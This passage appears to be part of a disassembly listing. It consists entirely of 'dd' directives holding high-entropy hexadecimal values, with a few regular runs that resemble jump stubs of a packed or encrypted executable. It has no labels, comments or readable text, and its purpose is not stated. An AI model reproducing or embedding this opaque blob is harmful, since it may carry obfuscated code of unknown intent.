		dd 0D09D5426h, 0A191C3F6h, 763462CDh, 93514DE1h, 0F0A59117h
		dd 9AC3AF23h, 0A1439C8h, 0EDFDh, 0D6574A00h, 62B0C7C4h
		dd 2ADF631Ah, 6DBB0413h, 9C510F29h, 94E76F5Bh, 9FB96BA7h
		dd 0EEF545E8h, 82405A22h, 94EBD0C3h, 0F6A08DA7h, 9698AF0Ch
		dd 2C80906h, 0D8A794E2h, 61CC6F26h, 0E7C47937h,	0D1A85E2h
		dd 0FA13E487h, 6C72570Eh, 132A615Eh, 0F9C67D19h, 0AD97F36Ah
		dd 93032DA2h, 0CA657C79h, 568EE443h, 4963BA68h,	1D63E292h
		dd 3E1B524Fh, 2B6BDEF9h, 0A26F2683h, 0A79701D2h, 96ADAA5Ch
		dd 0BB18028Ah, 9C874384h, 0A1539B8Bh, 0B3FB47EAh, 2B939F2Eh
		dd 0CE69DDE5h, 870h, 0FBE5B77Ah, 412B71BEh, 836D2B04h
		dd 0CCB6E646h, 11FB838Fh, 1D2D6F2Ah, 0A472AF99h, 77B9F6E0h
		dd 2D003D27h, 1100816Bh, 8C02FAD0h, 8C9E0A1h, 910F2037h
		dd 0A74A01D3h, 0EC29139Bh, 235A5741h, 0E71FABECh, 9BBA794h
		dd 94E6C802h, 0A96012A7h, 0D6570EF9h, 7FB0C7C4h, 0DA916321h
		dd 0A38AA156h, 8E9F42F9h, 5DA3220Ch, 1D3761CCh,	524DF20h
		dd 7628AD98h, 900A23B8h, 0D11249A6h, 0A191C8F9h, 968C2FE1h
		dd 0AECE0810h, 0BE6F12C9h, 885F1EDCh, 7D28D747h, 952AE8AEh
		dd 6D3FFD99h, 3EFC8090h, 824889h, 0A6581A4Bh, 0F8705CE2h
		dd 864A6428h, 919C1400h, 0A9C01D07h, 8355139Bh,	54129AA6h
		dd 528CB82h, 0B116D593h, 271A4B00h, 0E449C1ADh,	13C8ECFh
		dd 0EC9E1A4Bh, 82ABE8D2h, 289B5A18h, 521A4B01h,	0D209884h
		dd 0C964A18Bh, 343A11CFh, 0DBF22926h, 0CA11BE4Fh, 0F33FF883h
		dd 25661BD9h, 1A4B92A5h, 0B2698335h, 4E9C2AE5h,	75C53A20h
		dd 87A17331h, 0DFA7738Ah, 0EBF97828h, 77910B22h, 0A716397Ah
		dd 1CCE1A4Bh, 6C289F5Eh, 39AD0E45h, 8E52244Dh, 3B879D60h
		dd 0D4000004h, 94E69D2Dh, 0F6C204A7h, 0D7D7A794h, 92A794DAh
		dd 0A794D334h, 3C39074Dh, 0D306C405h, 99D4A794h, 57EEE87Ch
		dd 8138527Ah, 7C027DBEh, 9042AD97h, 216B940Bh, 0A13CB0EFh
		dd 6F8h, 735D3FF2h, 0B9A3E936h,	0FBE5B37Ch, 442E6EBEh
		dd 89733B07h, 95A5F7A2h, 5CEA2711h, 0FF316E58h,	0B578B59Fh
		dd 8978F9E3h, 8C018248h, 804158A1h, 78395A37h, 0B0993EABh
		dd 7D20E125h, 0B9FA0BE2h, 0A794C711h, 46FD17C9h, 52108AA3h
		dd 6A67757Bh, 9DA7F229h, 0EA445BADh, 631AECAAh,	10331DCFh
		dd 7D439106h, 283F80h, 3AECA78Fh, 4FF0A2Fh, 0FA084AEAh
		dd 0BDB6F7F4h, 6FF22AACh, 6D3199DAh, 0F7A9E624h, 536A1FDDh
		dd 2207BEC4h, 0B2E04BDCh, 2D649B98h, 246CDEECh,	934AFCE6h
		dd 27A5E0C6h, 300B2ECh,	1D79B5CCh, 33D68D5Fh, 4452DDFAh
		dd 2A03402Ah, 6AB6EB70h, 12862E51h, 63777h, 1C7EB300h
		dd 6026F532h, 0A8F63976h, 0F1AD81BEh, 367ECA07h, 68B4654Ch
		dd 0ADEAD4D8h, 0F02D179Fh, 37745E3Eh, 39BAA4F6h, 0C1094Ah
		dd 219A18Ch, 1CF1541h, 540C304h, 5A0CAD98h, 7426079Ch
		dd 8A0C21B6h, 0A4F637CCh, 0CBB797E6h, 0E0CC5216h, 1512D826h
		dd 94E72FD4h, 816B1DA7h, 8EAAAC1Ah, 561AF79Bh, 0FB818E21h
		dd 0E6C86B3Dh, 3A4B5869h, 0D1C2D6BDh, 973300B7h, 0F29B8E0Fh
		dd 0CAE1DEECh, 0C57A387Ch, 8E104684h, 0C8E2949Bh, 0E0D4E11h
		dd 6EA196F1h, 8E3FFEBCh, 2395852Dh, 0BF763E0Ch,	852DD3F2h
		dd 5D3FEE95h, 2D635FD8h, 5AF569FBh, 584h, 0EFD9C366h, 351F65B2h
		dd 7F6937F8h, 0C0AAEA42h, 5EFB783h, 11217B1Eh, 0D866A38Dh
		dd 83ADEAD4h, 41EC2913h, 0FDEC6D57h, 8C000EBCh,	0F4B5CCA1h
		dd 401CF15h, 9DC858C3h,	0B47224ADh, 0A28C0E1Fh,	1310DA23h
		dd 8BA52CFCh, 617B4D0Bh, 3AF1B784h, 8A0C21B6h, 0DCA63A0h
		dd 1F7FB122h, 0B7758F61h, 97CECBE5h, 5AB1F60h, 7D2FA18Ch
		dd 8C065476h, 1DD486A1h, 0AC290499h, 895B199Fh,	0B52FB16Fh
		dd 0BADC51C9h, 0BF6F86BDh, 484F21DFh, 0A18C0582h, 75441D58h
		dd 0F2B3F7B6h, 837121D8h, 0A19DEB1h, 16DE6h, 5A373300h
		dd 55901D1Eh, 0B49950A5h, 62A3A0AEh, 0AD9736ADh, 884705B7h
		dd 0A1912440h, 9C34209Ah, 23A62465h, 8234A191h,	0D298E6CBh
		dd 2D7B94D5h, 0DDBAA794h, 31554AE3h, 0E1752C52h, 2508452Fh
		dd 0D20B573h, 0DC22A18Bh, 0DBD0110Eh, 0C1A19184h, 3492510Fh
		dd 9F958B7Bh, 44163F2Bh, 2161A7Fh, 955343EBh, 37C00CC3h
		dd 0D000000h, 8C102037h, 0C1FFCCEh, 0ECF2D78Eh,	5FA0E1DEh
		dd 0E5AD980Ah, 10B67533h, 0C3A191C4h, 94CB634Fh, 91C37753h
		dd 3CEE63A1h, 3B8F4660h, 0A143A69h, 0B29Eh
		dd 0D657EB00h, 3A5106C4h, 4585C6F3h, 95A794E7h,	390BC9E3h
		dd 4B53DF82h, 0F4D6174Eh, 0E6A794E6h, 64F97D34h, 7C11CFC9h
		dd 96FDE7B1h, 0A794EBFDh, 2508CD60h, 0F06F5973h, 2DFDCE2h
		dd 0B96EACFCh, 3AFDB4CDh, 99B7F9F9h, 827F31ADh,	0EDD7DF6Bh
		dd 0FF9360B0h, 0D38F714Dh, 9AEB708Ah, 72EF2432h, 3DA63FEh
		dd 19100000h, 0CB58957Fh, 8D9EDBC5h, 44E8250Fh,	0E1316E58h
		dd 0CDCCB39Dh, 513B43CFh, 947E0614h, 0DFC9D557h, 27118BA2h
		dd 5476B7A6h, 86A18BFFh, 0CB57AE6Fh, 919CD9C3h,	662D0A07h
		dd 0A929E51h, 20502567h, 81E8E223h, 40F2A794h, 37EED989h
		dd 0E70BBF00h, 5ACFA794h, 0D1AEC8CCh, 0AB7D3B43h, 0BADC51F4h
		dd 0D4C667FCh, 992DFFEAh, 0A79566h, 0A79466C6h,	49E4B5BBh
		dd 0A5BF914Fh, 48B467A8h, 16C8AD9Dh, 556CA358h,	2CFEBCDAh
		dd 8B85A525h, 0E08335A1h, 2D743002h, 8C71289Dh,	3A7B7846h
		dd 0A78E58A1h, 0E724A95Bh, 0A1E52E0Ch, 32A922Dh, 69C00000h
		dd 3B08452Fh, 0DD4E8B75h, 9498D5BFh, 51E11E08h,	9D7C634Dh
		dd 1EBB37Fh, 442E76C4h,	8F792507h, 0D7C1DB52h, 0A4266756h
		dd 36A18BFDh, 0D6575E1Fh, 0E72AA0E1h, 0FEB0A794h, 5B0AE7E4h
		dd 64A1CD86h, 0ACB6B113h, 0EABBEF09h, 131AAF33h, 0D2209F89h
		dd 0C1D80F0Ch, 0AD7A316Dh, 0AD971BFEh, 6F2EEC9Eh, 0A1911257h
		dd 0F31C087Ch, 0A14E821h, 3D56h, 0F1543100h, 0F1C563DEh
		dd 15B809C0h, 0C30401CFh, 0AD980A3Ch, 2C68C2D9h, 4BBC34Fh
		dd 4100BE70h, 0A191C385h, 0F0AEEE3Eh, 7C5D15Bh,	0C075612Fh
		dd 6A937FF3h, 0A143998h, 0ECCDh, 0D6571A00h, 0A17106C4h
		dd 0A38A1FDDh, 1B1FFCF9h, 6CFD8D7Ah, 10BAFBF8h,	0CAA79466h
		dd 48DD6118h, 7FB6B3E5h, 94658C3Eh, 0E59C4EA7h,	8AA1D835h
		dd 0DFEBF2A2h, 0ECA79465h, 0D4865440h, 6A43501Dh, 0E3FAA794h
		dd 0A4745155h, 0A78629E0h, 80C1F8F5h, 0A794614Ah, 7727DE90h
		dd 0EBA9F33Ah, 300CE14h, 97683DC2h, 6B5507ADh, 1B15E6ECh
		dd 2D64617Bh, 0CF861616h, 970FEA02h, 8DCE05A7h,	9B8BA43Dh
		dd 0A034EB9Dh, 4C90DA65h, 21C486C9h, 0A5308E1h,	0EEEB0573h
		dd 1F604BD7h, 9B8B5FABh, 79637D2Fh, 7135051Ch, 830B17BAh
		dd 2B5DA3FEh, 62FD71E5h, 1C8h, 0A38D0F22h, 0E9D3D966h
		dd 2B1583ACh, 745E3EEEh, 0B9A3EB37h, 45D5C7D2h,	0C1A5741h
		dd 0CF619E88h, 85A8E5CFh, 0B9A82913h, 8BFD5278h, 0B07188A1h
		dd 0D9C3CB57h, 1D07919Ch, 1CF1532h, 0A3CC304h, 0C2D9AD98h
		dd 0D6C4676Ah, 0C669FEBCh, 2E481AD8h, 7331E377h, 91C412B4h
		dd 614DC1A1h, 143A6638h, 0B99B0Ah, 57E80000h, 7106C4D6h
		dd 601FDDA1h, 0A794EC33h, 5B3BF30Ah, 6A2C01A4h,	0ABEC2380h
		dd 0A794E31Fh, 0AF5209BBh, 4163937Eh, 4B098D9Bh, 8462D679h
		dd 4A088C9Ah, 86445E78h, 9E9BA1AFh, 9755A25Dh, 6F0A2ADh
		dd 3D14CCA9h, 0F9B7E14Ch, 36258427h, 7E846920h,	5B327370h
		dd 5A7974Eh, 0F17C7FCAh, 771AB91Fh, 0A57EA00Ch,	8986A085h
		dd 0F4DEA672h, 9E236BB7h, 0E52A404Dh, 0E5F89307h, 5000000h
		dd 43806A2Ch, 87C4AEF4h, 0CF0CF6A4h, 18553F5Fh,	0B39A8408h
		dd 226AB6E6h, 692DFB38h, 0ACE8427Fh, 0EEA885C2h, 53948304h
		dd 0A18BFB77h, 578B4C63h, 9CD9C3CBh, 0ACE84491h, 57BDA892h
		dd 6B3301D6h, 3C1DBADh,	0F3DDBF6Eh, 63606E74h, 9DC7F522h
		dd 0FCD7FADh, 0ECE9B37Ah, 824046D5h, 0C49F9B0h,	437A7721h
		dd 8C04C802h, 28A2E3A1h, 0B2A18C05h, 0C9803200h, 8CC28645h
		dd 37050533h, 0E556B16Fh, 4A457A0h, 2A6AC29Fh, 7E6AF06Ch
		dd 937F05C9h, 4783C4FBh, 933DE4CEh, 0A6872AE1h,	60CD0AF4h
		dd 4BE37836h, 35F88D4Bh, 10A563h, 0BC42BE7Ch, 0C3D558D0h
		dd 0F80F12A9h, 0BAB622Ah, 1486A71Fh, 9340ED2Ah,	8C41FF87h
		dd 0E4CD7F4Bh, 8FA95B3Dh, 0D1CB775h, 23000000h,	81ABC275h
		dd 69C25715h, 95A112Bh,	0AC8D257h, 20DEB875h, 37F5A18Bh
		dd 521094A2h, 6B296DBDh, 84424AD6h, 0A15F3FEFh,	0B775230Ch
		dd 0D18F1522h, 4EC834Dh, 89243489h, 4C681E6h, 83000000h
		dd 348704EEh, 0EA685C24h, 89000017h, 8952243Ch,	4C281E2h
		dd 81000000h, 4EAh, 24148700h, 2434895Ch, 38BB53h, 0C14B135Eh
		dd 814303EBh, 8515EDE3h, 0F1EB814Ah, 0F7FFE5DDh, 0EB814BDBh
		dd 34492CC5h, 494ACB81h, 0F381466Fh, 0C9F718D6h, 545BDF89h
		dd 8324348Bh, 0B85004C4h, 8, 3889F001h,	8124048Bh, 4C4h
		dd 24348B00h, 81E78957h, 4C7h, 4C78300h, 5C243C87h, 5F2434FFh
		dd 4C481h, 0ECE90000h, 0C7FFFB59h, 0B8B804ECh, 30608ECh
		dd 0FAE0FFC5h, 0E1741BAEh, 5B256106h, 8877A467h, 0EB6773E2h
		dd 890E063Ah, 0C80F1E93h, 700EBCFCh, 0F712CAE1h, 3561C57Eh
		dd 9366198Bh, 0C664492Bh, 71A44D4h, 0D67896CCh,	0EB28E538h
		dd 9E7D0079h, 0E2218CEFh, 0ABAFD60Fh, 4DB2979Fh, 95B7E37Ch
		dd 0A9E57200h, 0B69CB5E9h, 0F377609Bh, 0B794A9B6h, 60D7609Eh
		dd 0A9BD897Dh, 9EBD8C9Eh, 95ACE372h, 0B98B204Ah, 89937E9Bh
		dd 0F496B99Dh, 0A19E96AFh, 0A7D6B594h, 0D100FD91h, 594ACC48h
		dd 713C33h, 57DB4D52h, 0B7D65EF3h, 0F600B79Bh, 8995ABAFh
		dd 56F0009Fh, 0B3D7C771h, 711800BEh, 0ADC4D756h, 0A38D73E2h
		dd 0D5E97572h, 6800000Eh, 608EFD8h, 0FA8FFCE9h,	0F0B868FFh
		dd 0F2E90608h, 68FFFA8Fh, 608F18Dh, 0FA8FE8E9h,	0F2C068FFh
		dd 0DEE90608h, 68FFFA8Fh, 608F34Fh, 0FA8FD4E9h,	0F3EE68FFh
		dd 0CAE90608h, 68FFFA8Fh, 608F4A0h, 0FA8FC0E9h,	0F54468FFh
		dd 0B6E90608h, 68FFFA8Fh, 608F63Ch, 0FA8FACE9h,	0F6E368FFh
		dd 0A2E90608h, 68FFFA8Fh, 608F7EEh, 0FA8F98E9h,	0FA4868FFh
		dd 8EE90608h, 68FFFA8Fh, 608FB63h, 0FA8F84E9h, 0A069F2FFh
		dd 0BF901634h, 0DCAD3553h, 0FFC85270h, 1FF07593h, 0E4A8F4B3h
		dd 4228E5Fh, 2644B079h,	4765D19Ah, 7E83EFC0h, 0ABE907D2h
		dd 7B89D019h, 0FECF5668h, 0AF8007FFh, 0D8A12D3Bh, 372F0088h
		dd 0C553CA15h, 4A498651h, 0BBE9DC14h, 495627ADh, 0D012402Bh
		dd 6C6BBECBh, 1240BDB7h, 8556DBD0h, 3A038E86h, 0D1CE8D3Bh
		dd 8784FD26h, 0FC5CB2BBh, 92A29F6Bh, 0CA25AE9Ah, 3EF05A3Ah
		dd 3F000000h, 9C27FC29h, 86D9D4D3h, 46D2E012h, 0D629FA80h
		dd 21E4DCD7h, 0DC14689Eh, 0B0CCCBD8h, 504F18A2h, 610B6934h
		dd 0DEEBD012h, 0A6D0938Bh, 1BD01261h, 0DC17A5A2h, 575A3AC7h
		dd 0BAh, 0FECF56A6h, 0B18207FFh, 6233BAB2h, 13E46B63h
		dd 5F8E969Fh, 7120081h,	0D112ED0Fh, 2FD611F1h, 8253DAA8h
		dd 0C9358883h, 545324ABh, 0B62AF62Fh, 14E36CEBh, 85F906DCh
		dd 271FF077h, 2EB5C305h, 0E26B5E5Dh, 50916D87h,	1A4D4598h
		dd 0CB29F4E3h, 0ABD0125Eh, 0CD74B9Eh, 0DA15E12Dh, 0BFC83C49h
		dd 4DD9FA33h, 6AF83984h, 6CBF8812h, 0B73C4A74h,	0D75C7AE6h
		dd 49E0AF06h, 7E7FD4BDh, 0C5777h, 0DCA52E00h, 0FBCC5270h
		dd 18E9718Fh, 3B048EACh, 5B2CB1CFh, 20E430EFh, 405ECA9Bh
		dd 6280ECB5h, 83A10DD6h, 0BABF2BFCh, 0AA2D430Eh, 0B7C5D019h
		dd 0D156A4h, 1EEF7694h,	0FC29CFB2h, 17A2B024h, 9544F4Eh
		dd 0A7CE2B5h, 0DF0901D5h, 4A139FADh, 1D2C8F52h,	3C46DC14h
		dd 0E9E4E3B4h, 88E29796h, 2DD012DDh, 0A229B7B4h, 695A3A7Bh
		dd 0BFh, 0FECF56B8h, 0B18207FFh, 0DBA42F3Dh
		dd 76792EE3h, 72D61149h, 8DFD8369h, 82E93405h, 33048C02h
		dd 5BE2E8E0h, 0E336078Dh, 1D25977h, 0D8A0DD02h,	2CB5664h
		dd 89ADC38Eh, 3845D611h, 0CC4B1640h, 66DC1493h,	80ED75Ch
		dd 0E9211783h, 0DBD6D528h, 54D11C88h, 0BD8D58CCh, 0B9DA1584h
		dd 0A52A38ACh, 0C54A68D4h, 50C49DF4h, 7677D4BEh, 0B776Fh
		dd 0BC850E00h, 0DBAC3250h, 0F8C9516Fh, 1BE46E8Ch, 3B0C91AFh
		dd 0C410CFh, 203EAA7Bh,	4260CC95h, 6381EDB6h, 9A9F0BDCh
		dd 0B5CD23EEh, 97A5D019h, 4F293284h, 51ED463Dh,	0CAC9921Dh
		dd 7E847CCFh, 93B230F9h, 0A05B79C1h, 3CC3E14Dh,	561CFF6Bh
		dd 7FFFECFh, 2543AF80h,	7A43CF9Dh, 2BFC837Bh, 8BDE312Ch
		dd 0DC62708Ch, 860D130Bh, 848B95BDh, 89DCA837h,	0F9D2BC1Dh
		dd 4E80F48Ch, 0F1E9BA40h, 1412252Eh, 10404DDCh,	98F8B2BDh
		dd 0B048B5CBh, 0D0CA713Ch, 9FAC2199h, 0C6971D2Bh, 0F4FD19CEh
		dd 0D3DAE54Dh, 93C349Ch, 0C590049Ch, 0DF87F403h, 0C1A8E9Bh
		dd 3E30B785h, 87F47D73h, 95E8F5DFh, 0F3F2BB45h,	1B39A5F8h
		dd 896CC394h, 50D24BDBh, 0AA2484Fh, 5AE30000h, 81072591h
		dd 9E2644B0h, 0B94361CDh, 0E16684F0h, 99E5A410h, 137F50D5h
		dd 35A16AF5h, 56C28B17h, 74E0B138h, 0FAF8C36Fh,	7AD019B4h
		dd 0CF56596Ch, 0A3DAFFFEh, 0F99661D5h, 79DC144Bh, 0FBC6F86Ch
		dd 0D01243F5h, 433E34FFh, 0A9B6D012h, 561FA9B3h, 11095C57h
		dd 9F79A4EFh, 7533602Bh, 95C3DA17h, 1771A4CAh, 0EC3F4CDAh
		dd 713E38EDh, 0BB83DA17h, 575627ADh, 8C89645Ch,	3FD7F5FEh
		dd 464050h, 328F0000h, 0D3CB9C24h, 23A365A0h, 14DE2EEEh
		dd 471286D9h, 0DC144CB4h, 4B1CA2B0h, 0AD59514Ch, 6EBEB47Fh
		dd 2936D015h, 0C85462D6h, 0BCB893FFh, 0DED0156Eh, 0FC1A8657h
		dd 8CA8A770h, 2726F77Eh, 0D91F342Ch, 22000009h,	0B024FC29h
		dd 1A33F2E5h, 0A3E5EEDCh, 0C6CDB2A3h, 2FF882D2h, 0A7E8B37h
		dd 38A475FCh, 4EC2931Ah, 0A3C1B45h, 766E8BB9h, 97619CC1h
		dd 0AFE8F123h, 1471A48Dh, 0BD9B5E56h, 0B5DA12EDh, 545324ABh
		dd 84920659h, 0A2C02CFDh, 264B4A1Bh, 7BAD21FFh,	1817E86Dh
		dd 9962251Dh, 51D00583h, 0ED44h, 0DADBDACAh, 96FD3h, 0C48D1600h
		dd 0E3B43A58h, 0D15977h, 23EC7694h, 431499B7h, 8CC18D7h
		dd 2846B283h, 4A68D49Dh, 6B89F5BEh, 0A2A713E4h,	0B7C52BF6h
		dd 9FADD019h, 3500328Ch, 0D611453Fh, 0EFB2AAB7h, 0D6114585h
		dd 6DE1BFE6h, 810CDA5Fh, 436D65B8h, 1A329A78h, 890E1CDCh
		dd 0C6BEB9B8h, 0B98A101Ah, 0F86CBFBAh, 632CB8C6h, 0C1C08913h
		dd 41C8CEC6h, 5FE60470h, 336A8F8Eh, 6926F165h, 8BDA1CA6h
		dd 2726F77Dh, 7B88342Ch, 0C11E2D24h, 141B1CD4h,	8E0h, 0E7531CA5h
		dd 67243C9h, 238F60E8h,	46B27B05h, 66D2A328h, 12975BA7h
		dd 2CB7D541h, 4DD9F763h, 73FA1884h, 853136A2h, 19B6B4BAh
		dd 1B2E3CD0h, 0CE9F2432h, 45618F5Ah, 411D611h, 0AE7F060Ch
		dd 5F30B7AFh, 6B683D60h, 39E716DDh, 47252E5Ch, 50EE563Dh
		dd 0C2266159h, 75000003h, 0B024FC29h, 1A325BE5h, 920613DCh
		dd 0C02CFD84h, 5E291BA2h, 0D019AB10h, 0F883D3E0h, 28DDDC2Fh
		dd 0D019ABCEh, 2EF9E61Fh, 0D019ABC0h, 0DC50A3B0h, 1CA44211h
		dd 90E7F4DAh, 0D4C1208Fh, 418A9192h, 44000008h,	6886F2BBh
		dd 87A511E2h, 0A4C22EFFh, 0C7E5511Ah, 46057142h, 0E0B136FAh
		dd 2CB5674h, 23EC7896h,	411299B7h, 5924D0D5h, 0D019B61Bh
		dd 56BACDDBh, 0E3FFFECFh, 4588E6B1h, 5B68D611h,	5D65D63h
		dd 110EE306h, 39E74883h, 32FC35Ch, 99120000h, 0D611455Fh
		dd 178B1590h, 1A33044Ch, 1BA6B0DCh, 1CFA335Ah, 6598272h
		dd 33C10C07h, 0BFE8E2ECh, 9AA81C6Fh, 0F2C3480Eh, 0ADA5A09Fh
		dd 1DEE7583h, 0DA616FB1h, 170F0A09h, 0BAB98A11h, 1C906895h
		dd 8657DCEAh, 0D1948C87h, 0DA1C2C02h, 5850AFB4h, 0F36A145Fh
		dd 8E3E49A0h, 5455D4C0h, 78F4Dh, 0A46DF600h, 0C3941A38h
		dd 0E0B13957h, 3CC5674h, 23F47997h, 0E8ACF8B7h,	8269263h
		dd 2A48B47Dh, 4B69D59Eh, 8287F3C4h, 0B1E50BD6h,	7F8DD019h
		dd 0FECF566Ch, 0AF8007FFh, 0BBB88DB0h, 39E7A62Dh, 0E9707E5Ch
		dd 74C7901Bh, 27F417Ch,	99900000h, 0D611455Fh, 178B1590h
		dd 1A333D4Ch, 0C08BB9DCh, 0D019ABB2h, 6EE23542h, 9408D960h
		dd 19ABABC9h, 463E4BD0h, 0B6870E1Ch, 0BD6084Ah,	0D019ABE5h
		dd 8288808Dh, 0A8B62AFBh, 57525122h, 1885AA5Fh,	0CE410C80h
		dd 48DA1C8Bh, 37CFE43Bh, 0F9FAD4C1h, 6EBF2h, 48119A00h
		dd 6738BEDCh, 8455DDFBh, 0A770FA18h, 0C7981D3Bh, 8C509C5Bh
		dd 0ACCA3607h, 0CEEC5821h, 0EF0D7942h, 262B9768h, 0B041AF7Ah
		dd 2331D019h, 0FECF5610h, 7C5818Ah, 0EEDD39CCh,	0C24941F6h
		dd 0E56F7DF1h, 0C16F241Ch, 5019A5B3h, 0D8807D58h, 10148051h
		dd 5C3996DBh, 0C95563h,	0D30E0601h, 19h, 35003222h, 0D611453Fh
		dd 807D85Dh, 850D170Dh,	546961B4h, 1ADh, 35003257h, 0D611453Fh
		dd 0EFB2AAB7h, 0D6114583h, 73E7B1ECh, 0D0CDD65h, 0BEF01A12h
		dd 4BAF3CB5h, 251DDFEAh, 1A120262h, 0E1ACDADCh,	0D0184A93h
		dd 0D40B5663h, 97D8E359h, 6A78EC3Fh, 0BE8F15E3h, 8550C4BFh
		dd 0D0187D6Fh, 3BA7FA07h, 51C5961Dh, 0F3EBBC43h, 17EC193Eh
		dd 479C48Dh, 0ACE90B77h, 0A7D94DA0h, 44431499h,	9D8E5149h
		dd 95DA1D3Bh, 0A8123188h, 5051D4C1h, 5F349h, 40099200h
		dd 5F30B6D4h, 7C4DD5F3h, 9F68F210h, 0BF901533h,	84489453h
		dd 0A4C22EFFh, 0C6E45019h, 0E705713Ah, 1E238F60h, 0B349A772h
		dd 1B29D019h, 9F243208h, 1E7C83CEh, 7655732Bh, 20F1787Eh
		dd 0D1A22921h, 686524D2h, 0F46839C0h, 908F60E6h, 24564A95h
		dd 186631E1h, 0F1FAFE20h, 3C5C39D3h, 7,	0C7478Bh, 994A0000h
		dd 0D6114558h, 1E926E97h, 0BFB78810h, 33A1CA95h, 3C49DC1Ah
		dd 6233BAC8h, 8D56E0EEh, 0CE557395h, 58AB7400h,	2FC93459h
		dd 8B7FF0BBh, 0EAF7DA1Ch, 0C1396A93h, 0B5BCBDD4h, 54Ch
		dd 7BE7B039h, 9A06D75Dh, 0B723F47Ch, 0DA460F99h, 0FA6637BCh
		dd 0A62BEF3Bh, 0C04B69D5h, 0E16D8BF7h, 78EAC18h, 19C5CA36h
		dd 19B3204Eh, 0AFC2D0D0h, 0FFFECF56h, 3BAF8007h, 45303E09h
		dd 0B3C0D611h, 995806BBh, 9C6DF49Ch, 0C9AC1F28h, 0FB13F4B3h
		dd 16DDE103h, 2E5C3959h, 0F3C331FCh, 0A6B3D611h, 773AEh
		dd 47C20000h, 1Dh, 6CF564Ah, 34ED0F22h,	0E9E83B43h, 9A996AF1h
		dd 0BA625FBAh, 0C9F66233h, 2Ah,	9C2432CCh, 21D9CCCBh, 8D4230D3h
		dd 0F8FEF649h, 0ECA1A071h, 0D6110283h, 0D19D9A5Dh, 29ED49Fh
		dd 4956D611h, 0F3C44B51h, 0CF56A487h, 55A87901h, 2CF43156h
		dd 5122AAB8h, 0F4FD2F59h, 2B1E9811h, 71342C71h,	0DC1A8A7Eh
		dd 6977EBF8h, 87A511E2h, 0B302F00h, 0C7920692h,	0DA139541h
		dd 5260D4E1h, 708EFACBh, 0F41918E9h, 497BEF89h,	0EDE5B63Bh
		dd 6DB512Ah, 0B50C19D0h, 0DACAC882h, 41E1E8E9h,	44000004h
		dd 6886F2BBh, 87A511E2h, 0A4C22EFFh, 0C7E5511Ah, 46057142h
		dd 0E0B136FAh, 2CB5674h, 23EC7896h, 411299B7h, 5924D0D5h
		dd 0D019B21Bh, 56BACDDBh, 0DC12DDCFh, 94D61145h, 8EC03487h
		dd 1145ADC3h, 0B63B45D6h, 789A92E5h, 8E02D35Ah,	9C338D85h
		dd 3D35E95Eh, 66636C88h, 0EE84F13Ah, 0DCAD3383h, 8957DEE4h
		dd 37323102h, 7837E5E4h, 7B4CD37Bh, 7FC00B0Fh, 424B5C39h
		dd 9A000000h, 0B024FC29h, 149212E5h, 0B6404EDCh, 3C49F5EDh
		dd 652EBAC8h, 0AD8DE8F1h, 0F8E22F82h, 60ABBADCh, 7B734094h
		dd 4E767E59h, 1DA4D012h, 36C2E04Ch, 49526E6Dh, 0CC830B8Ch
		dd 0C6DBD3EBh, 384h, 350032C9h,	0D611453Fh, 7FB2AAB7h
		dd 0FD067A06h, 0C99DD1FEh, 6B3CC35Eh, 261E716Ch, 544E31FCh
		dd 2328DC14h, 8A55CE4Ah, 3F3E91ACh, 65F7C047h, 5E512CA2h
		dd 24040356h, 8EF7CCC9h, 30B37EF2h, 0AADA17CCh,	0BFE6319Dh
		dd 0CCFFF5C0h, 7277DA17h, 0D9DF7D50h, 9AED4020h, 0E0985B26h
		dd 4552D012h, 0F8C94E46h, 0B47501F9h, 74D81FCBh, 8180D3D2h
		dd 32310289h, 0E8E7B03Ah, 3532DDEDh, 39509E69h,	1320C418h
		dd 6E6B4AC0h, 20946C99h, 1D359255h, 0D33F4CCEh,	5E5D2EB5h
		dd 0A20EDF66h, 0DE522E57h, 18CAFC13h, 0E76C76C4h, 0FC4C316h
		dd 0C81EC0E5h, 18E4E15Ah, 0DDB5D20Fh, 0BBB32E5Ch, 365F04CFh
		dd 540F42h, 295E0000h, 0F4112CFCh, 0BA3ADD1Eh, 0F1757B46h
		dd 0F0FDD611h, 0AD20299Dh, 0CB66B2D7h, 53777D48h, 0F2FFD611h
		dd 0B27DA79Fh, 0DC147EF1h, 0A85D5C69h, 0D0127C4Eh, 7A7942CCh
		dd 2F2EF782h, 8D353211h, 0BCE53801h, 9061E6F4h,	32C0BD98h
		dd 5A3ADAB9h, 0C474h, 0CF56C300h, 0D5E3FFFEh, 8883824Bh
		dd 452B4914h, 0BECBD611h, 6A3BC0C6h, 23EC736Bh,	0F2242135h
		dd 8786D9F0h, 0CB37088Fh, 11538FF0h, 0B5860DD6h, 0DBA42B49h
		dd 0C728D729h, 9AD8A357h, 5AD611E4h, 0A8A7FA4Dh, 0A7E1A83h
		dd 14ED7C3Fh, 7DE9F6DCh, 0A930CB32h, 0F0FA63E0h, 0FF5231D5h
		dd 0FD0638ACh, 0CDD0A3C1h, 8F524A12h, 0DA154003h, 0D2A32933h
		dd 78FD0B7Fh, 981D3BA7h, 9C3370C7h, 0ADAED4BEh,	1E7A6h
		dd 4C159E00h, 6B3CC2E0h, 8859E1FFh, 0AB74FE1Ch,	0CB9C213Fh
		dd 9054A05Fh, 0B0CE3A0Bh, 0D2F05C25h, 0F3117D46h, 2A2F9B6Ch
		dd 0BFBDB37Eh, 2735D019h, 0D15614h, 26F77E8Ch, 12342C27h
		dd 309C6DF4h, 3FC294Dh,	11453A38h, 5AADBAD6h, 68981BE6h
		dd 0C5D2DC14h, 61E711C6h, 945CD012h, 61599762h,	0C19D012h
		dd 0AE3C3914h, 5A3AC725h, 0D835F801h, 48703DAh,	0E2D10Ch
		dd 0B3C10000h, 9C675F28h, 12DDCF56h, 0D61145DCh, 0DB1E8F94h
		dd 3D465E21h, 45AB76EAh, 2DD61155h, 4B59CD20h, 0F8F7C0h
		dd 0ADA8A778h, 0B5AD625Ah, 7D733E30h, 0F5D61155h, 0E19695E8h
		dd 0D611599Eh, 3AA677FEh, 0F52DEFF8h, 4AAD3D34h, 62AD727Ah
		dd 1A12940Dh, 0BDBC8D14h, 4EA46FA1h, 26D6111Bh,	0B7EE2119h
		dd 9AA75E9h, 61DC1412h,	609DE854h, 0D8592498h, 20DA1592h
		dd 52CD23EEh, 98A5DA18h, 73E7F4A0h, 150DDE65h, 8758DDEBh
		dd 8678FD1Bh, 1852B5BBh, 0DD303DDAh, 0BE423F86h, 0C6CDCED4h
		dd 0CCh, 0FB6730B9h, 1A8657DDh,	37A374FCh, 5AC68F19h, 7AE6B73Ch
